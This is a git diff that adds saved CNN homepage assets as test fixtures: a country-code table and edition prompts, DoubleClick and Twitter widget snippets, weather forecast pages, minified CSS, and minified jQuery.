+"MM" : "Myanmar",
+"MN" : "Mongolia",
+"MO" : "Macao",
+"MP" : "Northern Mariana Islands",
+"MQ" : "Martinique",
+"MR" : "Mauritania",
+"MS" : "Montserrat",
+"MT" : "Malta",
+"MU" : "Mauritius",
+"MV" : "Maldives",
+"MW" : "Malawi",
+"MX" : "Mexico",
+"MY" : "Malaysia",
+"MZ" : "Mozambique",
+"NA" : "Namibia",
+"NC" : "New Caledonia",
+"NE" : "Niger",
+"NF" : "Norfolk Island",
+"NG" : "Nigeria",
+"NI" : "Nicaragua",
+"NL" : "Netherlands",
+"NO" : "Norway",
+"NP" : "Nepal",
+"NR" : "Nauru",
+"NU" : "Niue",
+"NZ" : "New Zealand",
+"OM" : "Oman",
+"PA" : "Panama",
+"PE" : "Peru",
+"PF" : "French Polynesia",
+"PG" : "Papua New Guinea",
+"PH" : "Philippines",
+"PK" : "Pakistan",
+"PL" : "Poland",
+"PM" : "Saint Pierre and Miquelon",
+"PN" : "Pitcairn",
+"PR" : "Puerto Rico",
+"PS" : "Palestinian Territory",
+"PT" : "Portugal",
+"PW" : "Palau",
+"PY" : "Paraguay",
+"QA" : "Qatar",
+"RE" : "Reunion",
+"RO" : "Romania",
+"RS" : "Serbia",
+"RU" : "Russian Federation",
+"RW" : "Rwanda",
+"SA" : "Saudi Arabia",
+"SB" : "Solomon Islands",
+"SC" : "Seychelles",
+"SD" : "Sudan",
+"SE" : "Sweden",
+"SG" : "Singapore",
+"SH" : "Saint Helena",
+"SI" : "Slovenia",
+"SJ" : "Svalbard and Jan Mayen",
+"SK" : "Slovakia",
+"SL" : "Sierra Leone",
+"SM" : "San Marino",
+"SN" : "Senegal",
+"SO" : "Somalia",
+"SR" : "Suriname",
+"ST" : "Sao Tome and Principe",
+"SV" : "El Salvador",
+"SY" : "Syrian Arab Republic",
+"SZ" : "Swaziland",
+"TC" : "Turks and Caicos Islands",
+"TD" : "Chad",
+"TF" : "French Southern Territories",
+"TG" : "Togo",
+"TH" : "Thailand",
+"TJ" : "Tajikistan",
+"TK" : "Tokelau",
+"TL" : "Timor-Leste",
+"TM" : "Turkmenistan",
+"TN" : "Tunisia",
+"TO" : "Tonga",
+"TR" : "Turkey",
+"TT" : "Trinidad and Tobago",
+"TV" : "Tuvalu",
+"TW" : "Taiwan",
+"TZ" : "Tanzania, United Republic of",
+"UA" : "Ukraine",
+"UG" : "Uganda",
+"UM" : "United States Minor Outlying Islands",
+"US" : "United States",
+"UY" : "Uruguay",
+"UZ" : "Uzbekistan",
+"VA" : "Holy See (Vatican City State)",
+"VC" : "Saint Vincent and the Grenadines",
+"VE" : "Venezuela",
+"VG" : "Virgin Islands, British",
+"VI" : "Virgin Islands, U.S.",
+"VN" : "Vietnam",
+"VU" : "Vanuatu",
+"WF" : "Wallis and Futuna",
+"WS" : "Samoa",
+"YE" : "Yemen",
+"YT" : "Mayotte",
+"ZA" : "South Africa",
+"ZM" : "Zambia",
+"ZW" : "Zimbabwe"
+
+ },
+ "get_cntrymsg" : function(c_code) {
+
+ var c_html = '';
+
+ if(c_code == "MX") { c_html = "<span id=\"hdr-prompt-text\">Parece que estás en México. ¿Te gustaría ir a CNNMéxico.com? <a href=\"http://www.cnnmexico.com/\">Sí</a> | <a href=\"javascript:cnn_delayeditionhtml(0, 48);\">No</a></span><img id=\"cnn_hdr-arrow\" src=\"http://i.cdn.turner.com/cnn/.element/img/3.0/1px.gif\" width=\"1\" height=\"1\" class=\"hdr-arrow-us2 cnn_dynone\" />"; }
+ else { c_html = "<span id=\"hdr-prompt-text\">It looks like you are from " + this.edtn_ccodes[c_code] + ". Would you like to make International your default edition? <a href=\"javascript:cnn_stedtnckie('edition', '1');\">Yes</a> | <a href=\"javascript:cnn_stedtnckie('www');\">No</a></span><img id=\"cnn_hdr-arrow\" src=\"http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/hat/arrow_black.png\" width=\"19\" height= [...]
+
+ return c_html;
+
+ }
+ },
+ "edition" : {
+
+ "edtn_msgs" : {
+ "def_msg" : "<span id=\"hdr-prompt-text\">You've selected the International Edition. Would you like to make this your default edition? <a href=\"javascript:cnn_stedtnckie('edition');\">Yes</a> | <a href=\"javascript:cnn_delayeditionhtml(0, 168);\">No</a></span><img id=\"cnn_hdr-arrow\" src=\"http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/hat/arrow_black.png\" width=\"19\" height=\"26\" class=\"hdr-arrow-int [...]
+ "sm_msg" : "<span id=\"hdr-prompt-text\">Parece que estás en México. ¿Te gustaría ir a CNNMéxico.com? <a href=\"http://www.cnnmexico.com/\">Sí</a> | <a href=\"javascript:cnn_delayeditionhtml(0, 48);\">No</a></span><img id=\"cnn_hdr-arrow\" src=\"http://i.cdn.turner.com/cnn/.element/img/3.0/1px.gif\" width=\"1\" height=\"1\" class=\"hdr-arrow-us2 cnn_dynone\" />"
+ },
+ "edtn_ccodes" : {}
+
+ }
+ }
+ )</textarea>
+</form>
+
+
+</body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/cf/exists.json b/src/test/resources/s/cf/exists.json
new file mode 100644
index 0000000..9fd9626
--- /dev/null
+++ b/src/test/resources/s/cf/exists.json
@@ -0,0 +1 @@
+twttr.setFriendshipExists(false)
\ No newline at end of file
diff --git a/src/test/resources/s/cf/f.gif b/src/test/resources/s/cf/f.gif
new file mode 100644
index 0000000..50b048b
Binary files /dev/null and b/src/test/resources/s/cf/f.gif differ
diff --git a/src/test/resources/s/cf/flashwrite_1_2.js b/src/test/resources/s/cf/flashwrite_1_2.js
new file mode 100644
index 0000000..4a183a8
--- /dev/null
+++ b/src/test/resources/s/cf/flashwrite_1_2.js
@@ -0,0 +1,30 @@
+function dclkToObject(id) {
+ if(document.layers){
+ return (document.layers[id])?eval(document.layers[id]):null;
+ }
+ else if(document.all && !document.getElementById){
+ return (eval("window."+id))?eval("window."+id):null;
+ }
+ else if(document.getElementById && document.body.style) {
+ return (document.getElementById(id))?eval(document.getElementById(id)):null;
+ }
+ }
+
+function dclkFlashWrite(string){
+ document.write(string);
+ }
+
+function dclkFlashInnerHTML(htmlElementId,code){
+ var x=dclkToObject(htmlElementId);
+ if(x){
+ if(document.getElementById||document.all){
+ x.innerHTML='';
+ x.innerHTML=code;
+ }
+ else if(document.layers){
+ x.document.open();
+ x.document.write(code);
+ x.document.close();
+ }
+ }
+ }
diff --git a/src/test/resources/s/cf/follow_button.1359077775.htm b/src/test/resources/s/cf/follow_button.1359077775.htm
new file mode 100644
index 0000000..20715fa
--- /dev/null
+++ b/src/test/resources/s/cf/follow_button.1359077775.htm
@@ -0,0 +1,3 @@
+<!DOCTYPE html>
+<!-- saved from url=(0235)https://platform.twitter.com/widgets/follow_button.1359077775.html#_=1359096271917&align=left&id=twitter-widget-0&lang=en&screen_name=cnni&show_count=false&show_screen_name=true&size=m&original_redirect_referrer=http://edition.cnn.com/ -->
+<html lang="en" class=" en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta charset="utf-8"><title>Twitter Follow Button</title><link rel="dns-prefetch" href="https://twitter.com/"><link rel="profile" href="http://microformats.org/profile/hcard"><style type="text/css">html{margin:0;padding:0;font:normal normal normal 11px/18px 'Helvetica Neue',Arial,sans-serif;color:#333;-webkit-user-select:none;-ms-user-select:none;-moz-user-select:none;-o-user-select:none [...]
\ No newline at end of file
diff --git a/src/test/resources/s/cf/footer_cnn_logo.png b/src/test/resources/s/cf/footer_cnn_logo.png
new file mode 100644
index 0000000..7662deb
Binary files /dev/null and b/src/test/resources/s/cf/footer_cnn_logo.png differ
diff --git a/src/test/resources/s/cf/footer_google.png b/src/test/resources/s/cf/footer_google.png
new file mode 100644
index 0000000..51ea4cf
Binary files /dev/null and b/src/test/resources/s/cf/footer_google.png differ
diff --git a/src/test/resources/s/cf/getForecast(1).htm b/src/test/resources/s/cf/getForecast(1).htm
new file mode 100644
index 0000000..1cea521
--- /dev/null
+++ b/src/test/resources/s/cf/getForecast(1).htm
@@ -0,0 +1,8 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<!-- saved from url=(0120)http://svcs.cnn.com/weather/getForecast?time=53&mode=json_html&zipCode=336736767676&locCode=EGLL&celcius=true&csiID=csi4 -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script type="text/javascript">var cnnDocDomain=''; if(location.hostname.indexOf('cnn.com')>0) { cnnDocDomain='cnn.com'; } if(location.hostname.indexOf('turner.com')>0) { cnnDocDomain='turner.com'; } if(location.hostname.indexOf('nascar.com')>0) { cnnDocDomain='nascar.com'; } if(location.hostname.indexOf('pga.com')>0) { cnnDocDomain='pga.com'; } if(cnnDocDomain) { document.domain = cnnDocDomain;}</script>
+ <script src="csi_include(1).js" type="text/javascript"></script></head>
+<body onload="cnnSend()">
+<form name="mainForm">
+<textarea id="jsCode">[{"celsius":false,"saveOrDefaultStatus":0,"forecast":{"days":[{"parts":[],"high":"1","visibility":"","dayDate":{"month":0,"day":5,"year":113,"time":1359093806000,"seconds":26,"timezoneOffset":300,"date":25,"hours":1,"minutes":3},"dayIndex":"1","temperature_S":"","valid":true,"sunsetTime":{"month":0,"day":1,"year":0,"nanos":0,"time":-1297789856,"seconds":0,"timezoneOffset":300,"date":1,"hours":16,"minutes":37},"sunriseTime":{"month":0,"day":1,"year":0,"nanos":0,"time [...]
+</textarea></form></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/cf/getForecast.htm b/src/test/resources/s/cf/getForecast.htm
new file mode 100644
index 0000000..e478e56
--- /dev/null
+++ b/src/test/resources/s/cf/getForecast.htm
@@ -0,0 +1,8 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<!-- saved from url=(0107)http://svcs.cnn.com/weather/getForecast?time=24&mode=json_html&zipCode=336736767676&celcius=true&csiID=csi3 -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script type="text/javascript">var cnnDocDomain=''; if(location.hostname.indexOf('cnn.com')>0) { cnnDocDomain='cnn.com'; } if(location.hostname.indexOf('turner.com')>0) { cnnDocDomain='turner.com'; } if(location.hostname.indexOf('nascar.com')>0) { cnnDocDomain='nascar.com'; } if(location.hostname.indexOf('pga.com')>0) { cnnDocDomain='pga.com'; } if(cnnDocDomain) { document.domain = cnnDocDomain;}</script>
+ <script src="csi_include(1).js" type="text/javascript"></script></head>
+<body onload="cnnSend()">
+<form name="mainForm">
+<textarea id="jsCode">[{"celsius":false,"saveOrDefaultStatus":0,"forecast":{"days":[{"parts":[],"high":"1","visibility":"","dayDate":{"month":0,"day":5,"year":113,"time":1359093806000,"seconds":26,"timezoneOffset":300,"date":25,"hours":1,"minutes":3},"dayIndex":"1","temperature_S":"","valid":true,"sunsetTime":{"month":0,"day":1,"year":0,"nanos":0,"time":-1297789856,"seconds":0,"timezoneOffset":300,"date":1,"hours":16,"minutes":37},"sunriseTime":{"month":0,"day":1,"year":0,"nanos":0,"time [...]
+</textarea></form></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/cf/globallib.intl-min.js b/src/test/resources/s/cf/globallib.intl-min.js
new file mode 100644
index 0000000..af24ab7
--- /dev/null
+++ b/src/test/resources/s/cf/globallib.intl-min.js
@@ -0,0 +1,2 @@
+var cnnWeather=(typeof Class=="object")?Class.create():{};cnnWeather={config:{activated:true,weatherCdnPath:"http://i.cdn.turner.com/cnn/.e/img/3.0/weather/",weatherUrl:"http://svcs.cnn.com/weather/getForecast",iconSmallPath:"01/",iconLargePath:"03/",shortName:["SUN","MON","TUE","WED","THU","FRI","SAT"],weatherDivs:["cnnLWPWeather","user_weather"],weatherLink:"http://weather.cnn.com/weather/",weatherLinkIntl:"http://weather.edition.cnn.com/weather/intl/",forecastLink:"",requestTimer:"",r [...]
+}else{if(cnn_userbrwsrlng){t_html=cnn_edtnswtchcnfg[cnn_edtnswtchver].edtn_msgs.brwsr_msg+cnn_edtnswtchcnfg["edtn_clshtml"];}}}cnn_shweditionhtml();return t_html;}function cnn_shweditionhtml(){if(Prototype.Browser.IE&&parseInt(navigator.userAgent.substring(navigator.userAgent.indexOf("MSIE")+5))==6){$("cnn_hdr-prompt").style.display="block";}else{Effect.SlideDown("cnn_hdr-prompt",{duration:0.7,afterFinish:function(){$("cnn_hdr-arrow").style.display="block";}});}}function cnn_clseditionht [...]
\ No newline at end of file
diff --git a/src/test/resources/s/cf/hdr-globe-central.gif b/src/test/resources/s/cf/hdr-globe-central.gif
new file mode 100644
index 0000000..39a11a5
Binary files /dev/null and b/src/test/resources/s/cf/hdr-globe-central.gif differ
diff --git a/src/test/resources/s/cf/intlhplib-min.css b/src/test/resources/s/cf/intlhplib-min.css
new file mode 100644
index 0000000..540290d
--- /dev/null
+++ b/src/test/resources/s/cf/intlhplib-min.css
@@ -0,0 +1,22 @@
+*{padding:0;margin:0}html,body,div,span,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,code,del,dfn,em,img,q,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline}body{line-height:1.5}table{border-collapse:separate;border-spacing:0}caption,th,td{text-align:left;font-weight:400}table,td,th{vertical-align:top} [...]
+.cnn_shdheader div{height:5px;width:5px;overflow:hidden;background:transparent url(http://i.cdn.turner.com/cnn/.e/img/3.0/global/shade/top.right.gif) 0 0 no-repeat}.cnn_shdfooter{height:5px;overflow:hidden;background:transparent url(http://i.cdn.turner.com/cnn/.e/img/3.0/global/shade/bot.right.gif) 100% 0 no-repeat}.cnn_shdfooter div{height:5px;width:5px;overflow:hidden;background:transparent url(http://i.cdn.turner.com/cnn/.e/img/3.0/global/shade/bot.right.gif) 0 0 no-repeat}.cnn_shdlft [...]
+.cnn_irprtrsltsbtn{display:block;height:17px;width:146px;background-position:0 -1311px}.cnn_irprtrsltsbtn img{height:17px;width:146px}.cnn_irprtrsltsbtn:hover{background-position:0 -1348px}.cnn_mtpmorevbtn{display:block;height:17px;width:92px;background-position:0 -3211px}.cnn_mtpmorevbtn img{height:17px;width:92px}.cnn_mtpmorevbtn:hover{background-position:0 -3248px}.cnn_fabcntrldot{display:block;height:5px;width:5px;background-position:0 -3161px}.cnn_fabcntrldot img{height:5px;width:5p [...]
+.cnn_ftrwthr4 strong{color:#000}.cnn_ftrwthr4 a{font-weight:400}.cnn_ftrsrchcntr{float:left;width:216px;margin:16px 0 0;display:inline}.cnn_ftrsrch1{float:left;width:199px;height:21px;background:url(http://i.cdn.turner.com/cnn/.e/img/3.0/global/footer/searchBar2.1.jpg) no-repeat;overflow:hidden}.cnn_ftrsrch2{float:left;width:17px;margin:0}.cnn_ftrsrch3{background:url(http://i.cdn.turner.com/cnn/.e/img/3.0/global/footer/PoweredByGoogle.jpg) 100% 0 no-repeat;height:14px;overflow:hidden}.cn [...]
+.cnn_html_slideshow_controls>.cnn_html_slideshow_pager_container>.cnn_html_slideshow_pager{position:absolute;list-style-type:none;white-space:nowrap;-webkit-transition-property:left;-webkit-transition-duration:1s;-webkit-transition-timing-function:ease-in-out}.cnn_html_slideshow_controls>span,.cnn_html_slideshow_controls>.cnn_html_slideshow_pager_container>.cnn_html_slideshow_pager>li{cursor:pointer;-webkit-user-select:none;display:inline-block;text-align:center;width:30px;height:30px;fo [...]
+.cnn_mtt1imghtitle{background-color:#000;display:block;width:250px;clear:both}.cnn_mtt1imghtitle h1{font:bold 16px/19px arial,Helvetica,Utkal,sans-serif}.cnn_mtt1imghtitle span{display:block;padding:8px 9px 7px}.cnn_shdcamtt1 #cnn_maintoplive .cnn_relpostn{height:250px;width:416px}.cnn_mtlimgh{position:absolute;bottom:0;left:0;width:416px;color:#fff;font:bold 16px/19px arial,Helvetica,Utkal,sans-serif}.cnn_mtlimghban{float:left}.cnn_mtlimghban span{display:block;padding:5px 9px 4px;backg [...]
+.cnn_shdcamtt1l250 .cnn_mtl3vidbx .cnn_mtl3vidbx1 .cnn_mtpmore,.cnn_shdcamtt1l375 .cnn_mtl3vidbx .cnn_mtl3vidbx1 .cnn_mtpmore{padding-left:0}.cnn_shdcamtt1l250 .cnn_mtl3vidbx .cnn_mtl3vidbx3 .cnn_mtpmore,.cnn_shdcamtt1l375 .cnn_mtl3vidbx .cnn_mtl3vidbx3 .cnn_mtpmore{padding-left:7px}.cnn_shdcamtt1l250 .cnn_mtl3vidbx2,.cnn_shdcamtt1l375 .cnn_mtl3vidbx2{width:131px;float:left;display:inline}.cnn_mtt1plybttn{position:absolute;top:94px;left:140px;width:136px;height:42px;cursor:pointer}.cnn_m [...]
+.cnn_tvsectionbin h4{padding-left:10px}.cnn_tvsectionbin .cnn_divline{margin-left:10px}.cnn_tsbnav{float:right;display:inline;margin:16px 0 0;font:normal 11px/14px arial,Helvetica,Utkal,sans-serif;color:#9a9a9a}.cnn_tsbtz{float:left;width:233px;display:inline;margin:0 0 23px 10px}.cnn_tsbtimg{width:120px;float:left;display:inline}.cnn_tsbttxt{background-color:#000;float:left;display:inline;width:113px;height:68px;color:#fff;font:normal 11px/14px arial,Helvetica,Utkal,sans-serif}.cnn_tsbt [...]
+.cnn_main10t1cntnt_2 a:hover{color:#ca0002}.cnn_main10t1cntnt_2{background-color:#000;color:#fff}.cnn_main10t1cntnt_2 h1 a:link,.cnn_main10t1cntnt_2 h1 a:visited{color:#fff}.cnn_main10t1cntnt_2 h1 a:hover{color:#6ab9d3}.cnn_main10t1cntnt_2 ul.cnn_bulletbin li{background-image:url(http://i.cdn.turner.com/cnn/.e/img/3.0/global/red_bull_blk.gif)}.cnn_main10t1cntnt_2 .cnn_main10t1vidttp{color:#fff}.cnn_shdcamtt12010 ul.cnn_bulletbin li span.cnnPostWOOL{color:#9a9a9a}.cnn_shdcamtt12010 ul.cnn [...]
+a.signup_btn{display:block;width:77px;height:29px;margin:12px 0 0 -1px;background:url(http://i.cdn.turner.com/cnn/.e/img/3.0/profile/sprite_profile.gif) no-repeat 0 -1275px}a.signup_btn:hover{background-position:0 -1322px}#signuplearnmore{display:none;padding-top:6px}.p_editmydetails h1{font-size:20px;color:#333;padding:0 0 10px;margin:0 0 5px;border-bottom:1px solid #e4e4e4}.p_editmydetails h2{font-size:18px;color:#000;padding:0;margin:0 0 8px}.p_editmydetails h2 a.change{font-size:11px [...]
+p.passwordp2{position:relative;font-size:12px;color:#333;font-weight:700;margin:6px 0 3px}p.passwordp3{position:relative;font-size:12px;color:#333;font-weight:700;margin:8px 0 3px}#signup_email_forgot{width:250px;height:16px;padding:6px;font-size:14px;color:#666}p.alreadyaccess{text-align:right;font-size:11px;padding:2px 0 0}a.submit_pass_btn{display:block;float:left;width:68px;height:27px;margin:20px 0 7px;background:url(http://i.cdn.turner.com/cnn/.e/img/3.0/profile/sprite_profile.gif) [...]
+.cnn_strylctcqcorr{border-top:1px solid #e6e6e6}.cnn_strycorrheader{margin:6px 0}.cnn_strylctcqrelt .cnn_divline{height:3px;background-color:#000;margin:0 0 17px}.cnn_strylctcqrelt .cnn_divlineGry{height:1px;background-color:#e6e6e6;margin:10px 0 17px}.cnn_strylctcqrelt .cnn_bulletbin{margin-top:6px}.cnn_strylctcqrelt .cnn_bulletbin li{padding-bottom:2px;padding-left:0;background-image:none;font-weight:700}.cnn_stryftsbttm{padding:7px 0 7px 176px;font:normal 11px/14px arial}.cnn_stryftsb [...]
+.cnn_adspcggl607 .cnnTextAd1{margin:7px 12px 0 10px}.cnn_adspcggl607 .cnnTextAd2{margin:7px 12px 0 0}.cnn_adspcggl607 .cnnTextAd2 .cnnTextAdPad,.cnn_adspcggl607 .cnnTextAd3 .cnnTextAdPad{padding:26px 0 0}.cnn_stryvalnbtn,.cnn_strymrebtn{background:transparent url(http://i.cdn.turner.com/cnn/.e/img/3.0/mosaic/SPRITE_story_bt.gif) 0 -106px no-repeat}.cnn_stryvalnbtn{display:block;height:17px;width:126px}.cnn_stryvalnbtn img{height:17px;width:126px}.cnn_stryvalnbtn:hover{background-position [...]
+.cnn_strycmtrply .cnn_strycmtrply5{float:left;display:inline;margin:7px 0 21px 9px;font:normal 11px/14px arial}.cnn_strycmtrply6{float:right;display:inline;margin:10px 0 0}.cnn_strycmtbx .cnn_strycmtrply{width:540px}.cnn_strycmtbx .cnn_strycmtrply .cnn_strycmtrply1{width:65px}.cnn_strycmtbx .cnn_strycmtrply .cnn_strycmtrply2{width:469px}.cnn_strycmtbx .cnn_strycmtrply .cnn_strycmtrply4 textarea{width:445px!important;min-width:445px!important;max-width:445px!important}.cnn_strycmtpacnl{fo [...]
+#cnnCVP1 .cnn_stryimg640caption{margin-bottom:0}.cnnStryVidCont{margin-bottom:20px;width:640px;float:left;background:#000;min-height:384px}* html .cnnStryVidCont{clear:both;display:block;float:none;height:384px}.cnnEditorialNote em{font-style:italic}.cnnByline b,.cnnByline strong{color:#000}.cnnByline a:link{font-weight:700}.cnnByline a:link b,.cnnByline a:visited b{color:#004276}.cnnStryHghLght li b,.cnnByline a:hover b{color:#ca0002}.cnnStryHghLght li em{color:#ca0002;font-style:bold}. [...]
+#pmMarkets .pmSectHead a#cnnMoney{float:right;display:block}#pmMarkets .pmSectHead #marketStatus{float:left;display:block;margin-top:4px}#pmMarkets #pmIndecies{margin:0;position:relative}#pmMarkets #pmIndecies .pmWrapper{width:280px;overflow:hidden;margin:0}#pmMarkets #pmIndecies span,#pmMarkets #pmIndecies #indexUpdated{color:#999}#pmMarkets #pmIndecies .pmWrapper .marketTime{color:#999;float:left;width:130px;padding-top:3px}#pmMarkets #pmIndecies .pmWrapper .marketTime span{letter-spac [...]
+#pmMarkets #pmIndeciesIntl .pmWrapper a#asiaMarketBtn.togOn{background-position:0 -324px}#pmMarkets #pmIndeciesIntl .pmWrapper a#asiaMarketBtn.togOff{background-position:0 -248px}#pmMarkets #pmIndeciesIntl .pmWrapper a#asiaMarketBtn.togOff:hover{background-position:0 -286px}#pmMarkets #pmIndeciesIntl .pmWrapper a#eurMarketBtn{width:69px;margin:0 2px 0 0;background:url(http://i.cdn.turner.com/cnn/.e/img/3.0/personalization/hp_market_sprite.gif) no-repeat;background-position:0 -362px}#pmMa [...]
+#pmWeatherTab #pmMoreWeather{float:left;overflow:hidden;width:65px;height:36px;margin-top:6px}#pmWeatherTab #pmMoreWeather a#pm10DayBtn{float:right;display:block;height:18px;width:53px;margin:0 0 3px;background:transparent url(http://i.cdn.turner.com/cnn/.e/img/3.0/personalization/weather_sprite.gif) no-repeat 0 -102px}#pmWeatherTab #pmMoreWeather a#pm10DayBtn:hover{background-position:0 -139px}#pmWeatherTab #pmMoreWeather p{text-align:right;clear:right;margin:0;font-size:10px;line-heigh [...]
+.cnnOpin{padding:3px 12px 0 0;z-index:10}.cnnOpin a.realmLink:hover{color:#ca0002}.cnnOpin a.realmLink{font-weight:700;font-size:11px;color:#004276}.cnn_hppolbreakn{width:217px;margin:0 0 0 7px}.cnn_hppolbreakn1{padding:13px 0 10px}.cnn_hppolbreakn p{font-size:11px;line-height:14px;padding:7px 0 0}.cnn_awsmbr{margin-top:10px;overflow:hidden}.cnn_awsmbr,.cnn_awsmbr .cnn_title_bar{text-align:left;height:28px;width:980px;position:relative;background:url(http://i.cdn.turner.com/cnn/.e/img/3. [...]
+#cnn_twmain_left_inset{float:left;width:185px;height:365px;padding-top:40px;margin-left:10px;position:absolute;top:0;left:0}#cnn_twc1_container{margin:-8px 13px 0}.cnn_shdtw{background:transparent url(http://i.cdn.turner.com/cnn/.e/img/3.0/global/shade/cnn_shdcamtt1.990px.bg.tw.gif) top left repeat-y}.cnn_shdtwfooter{background:transparent url(http://i.cdn.turner.com/cnn/.e/img/3.0/global/shade/sprite_shades_tw.gif) 0 -1049px no-repeat}.cnn_tw_border{padding:0 7px;background:url(http://i [...]
+.cnn_hpinthenewscntr ul li a{font-weight:bold}.cnn_hpinthenewscntr ul li.cnn_hpinthenewshdr{text-transform:uppercase;background:url('http://i.cdn.turner.com/cnn/.e/img/3.0/main/phasetwo/InTheNews_divider.png') 100% 4px no-repeat;padding:0;height:32px;color:#777;font-size:11px;line-height:14px;margin:0 14px 0 0;font-weight:bold}.cnn_hpinthenewscntr ul li.cnn_hpinthenewshdr span{display:block;padding:13px 18px 0 0}.cnn_sbin4mpopbin{height:245px}.cnn_sbin4mpopbin .pmHLBullet{display:none}.c [...]
+.flipper-cf{*zoom:1}.flipper-ticker-widget .seats,.flipper-ticker-widget .bop .bop-title{font-family:Georgia,serif}.flipper-ticker-widget .seats-won,.flipper-ticker-widget .bop .bop-title,.flipper-ticker-widget .bop .candidates{font-weight:700}.flipper-ticker-widget .bop{padding-left:10px}.flipper-ticker-widget .bop .bop-title,.flipper-ticker-widget .bop .candidates{font-size:14px;line-height:16px}.flipper-ticker-widget .bop .bop-title{color:#333;font-style:italic}.flipper-ticker-widget [...]
\ No newline at end of file
diff --git a/src/test/resources/s/cf/intlhplib-min.js b/src/test/resources/s/cf/intlhplib-min.js
new file mode 100644
index 0000000..3a08816
--- /dev/null
+++ b/src/test/resources/s/cf/intlhplib-min.js
@@ -0,0 +1,88 @@
+/*! jQuery v1.7.2 jquery.com | jquery.org/license */
+(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1;}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement){cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();}d=cl.createElement(a),cl. [...]
+return e.makeArray(a,this);},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length;},toArray:function(){return F.call(this,0);},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a];},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d;},each:function(a,b) [...]
+};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e;},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this;},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this;},pipe:function(a,b,c){return f.Deferred(function(d){f.each({do [...]
+},removeData:function(a){return this.each(function(){f.removeData(this,a);});}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1));},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"));}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[];}},dequeue:functi [...]
+return d===null?b:d;}});}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b;},set:function(a,b){return a.style.cssText=""+b;}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null;}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get: [...]
+},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1);},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0);},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation();},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouse [...]
+}}if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g){return[];}break;}}}if(a===q){if(g==null){m.error(a);}else{break;}}q=a;}return s;},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a);};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9||d===11){if(typeof a.textContent=="string"){return a.textContent;}if(typeof a.innerText=="string"){return a.innerText.replace(k,"");}for(a=a.firstChild;a;a=a.nextSibling){e+=n(a);}}else{if(d===3|| [...]
+if(g===i){return v(a,b);}if(!g){return -1;}if(!i){return 1;}while(j){e.unshift(j),j=j.parentNode;}j=i;while(j){f.unshift(j),j=j.parentNode;}c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++){if(e[k]!==f[k]){return v(e[k],f[k]);}}return k===c?v(a,f[k],-1):v(e[k],b,1);},v=function(a,b,c){if(a===b){return c;}var d=a.nextSibling;while(d){if(d===b){return -1;}d=d.nextSibling;}return 1;}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a n [...]
